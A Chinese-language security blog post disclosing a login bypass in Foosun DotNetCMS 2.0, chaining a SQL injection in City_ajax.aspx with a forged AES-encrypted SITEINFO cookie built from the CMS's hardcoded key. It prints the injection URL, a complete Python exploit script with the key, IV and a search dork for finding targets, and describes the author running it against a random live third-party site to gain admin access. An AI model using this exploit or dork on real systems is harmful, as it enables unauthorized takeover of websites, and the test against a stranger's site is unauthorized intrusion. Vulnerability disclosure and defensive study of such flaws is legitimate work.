?

Nov 14 2017

Foosun DotNetCMS2.0登錄繞過漏洞

首頁 » 漏洞收集 » Foosun DotNetCMS2.0登錄繞過漏洞   

Foosun DotNetCMS2.0的源碼下載地址:【傳送門

在閱讀Foosun DotNetCMS2.0代碼時,我們發現了這樣一處:


1.jpg


2.jpg


具體細節為:

1.從${pre}_sys_User表中取出UserNum,UserName,SiteID

2.如果是管理員,則adminLogined=1;另外,info.uncert的默認值為false

3.將UserNum,UserName,SiteID,adminLogined,uncert用逗號隔開組成字符串,再使用源碼內的加密算法進行加密

4.加密后的字符串寫入cookie,name是SITEINFO

得到加密字符串的代碼如下:

3.jpg


舉個例子,當UserNumber=473868369227,UserName=admin對應的加密串就是:

dZCoWi7DJT6drFmjOLOwuVesOLhnwlLB/y68EDKj+5g=

UserNumber如何得到我們在后面細說。

接著就是祭出我們的EditThisCookie工具:

4.jpg


添加完cookie之后,就直接訪問管理后臺的url:

/manage/Index.aspx

5.jpg


直接就以登錄狀態登錄進去了。

需要注意的是,UserNumber是在安裝Foosun CMS時,隨機產生的一個12位的值:

6.jpg

如果UserNumber是錯誤的,則在界面上會提示:

7.jpg

12位的UserNumber從純零暴力試到純9未嘗不可,但是實在太耗時,也非常容易被人發現。那么可不可能與SQL注入結合一下呢?


8.jpg

加密后的串:

duadkW0B5b7wRIKRD6fwjWalwRIqWmrduuha+QfEvBE=

非常可惜的是,它做了參數化查詢防止SQL注入:

9.jpg


所以,Foosun DotNetCMS2.0是通過cookie中的UserNumber與sys_User表進行比對,如果查詢不到,則在前臺提示“用戶不存在”。

接下來的思路,就是找尋可以得到UserNumber的地方。

由于http://localhost:1624/user/City_ajax.aspx?CityId=1的CityId字段存在SQL注入漏洞

具體代碼參見:

10.jpg


所以我們可以使用如下語句得到UserNumber:

http://localhost:12157/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin

11.jpg


將得到的UserNumber代入上面所說的加密方法,得到加密串,寫入cookie即可以成功登陸。

其實sql注入就可以拿到fs_sys_User表的用戶名密碼了,為什么還要采用構造cookie的方式繞過登錄呢?原因是在Foosun DotNetCMS2.0中,密碼是以16位md5的方式存儲的,如截圖所示:

12.jpg


而對于md5的密碼一般破解方法都是字典碰撞的方式破解,如果管理員設置的密碼復雜度夠高不在常見密碼的字典中,則是無法破解的。所以我們采用直接用sql注入拿到UserNumber,然后再與UserName等拼接,構造cookie直接以管理員權限登錄。

exp代碼如下:

#coding:utf-8
import argparse
import urllib
import traceback
import base64
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
###############################
##search keyword:           ##
##inurl:/manage/Login.aspx   ##
###############################
KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'
IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'
def parse_args():
  parser = argparse.ArgumentParser()
  parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")
  return parser.parse_args()
def run(url):
  try:
      usernumber = get_usernumber(url)
      if usernumber is not None:
          encrypt_cookie = generate_cookie(usernumber)
          #寫入cookie中
          write_cookie(url, encrypt_cookie)
  except Exception:
      traceback.print_exc()
def get_usernumber(url):
  fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"
  content = urllib.urlopen(fullurl).read()
  index = content.index("<option value=\"")
  if  index != -1:
      usernumber = content[index+15:]
      usernumber = usernumber[0: content.index("\"")+1]
      print "Get usernumber success. Usernumber is :", usernumber
      return usernumber
  else:
      print "Get usernumber fail"
      return None
def pkcs7padding(data):
  bs = AES.block_size
  padding = bs - len(data) % bs
  padding_text = chr(padding) * padding
  return data + padding_text
def generate_cookie(usernumber):
  orgstr = "%s,admin,0,1,False"%(usernumber,)
  cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
  ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
  ciphertext = base64.b64encode(ciphertext)
  return ciphertext
def write_cookie(url, ciphercookie):
  print "Generate Cookie[SITEINFO]:", ciphercookie
  print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)
if __name__ == '__main__':
  args = parse_args()
  try:
      if args.url is not None:
          run(args.url[0])
  except Exception, e:
      print "python Foosun_exp.py -u [url]"

運行效果如下圖所示:

13.jpg


將腳本打印的加密Cookie用EditThisCookie寫入瀏覽器Cookie,再訪問管理主頁面鏈接即可。

隨便找一個使用了該CMS的站點試驗一下腳本:

14.jpg


將腳本打印的SITEINFO COOKIE寫入:

15.jpg


成功登入后臺(該網站用的是1.0版本Foosun DotNetCMS,存在同樣的漏洞):

16.jpg

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: Foosun漏洞 Foosun登錄

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «國產ImXSS工具開源發布(附設計文檔) | phpmyadmin枚舉工具»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖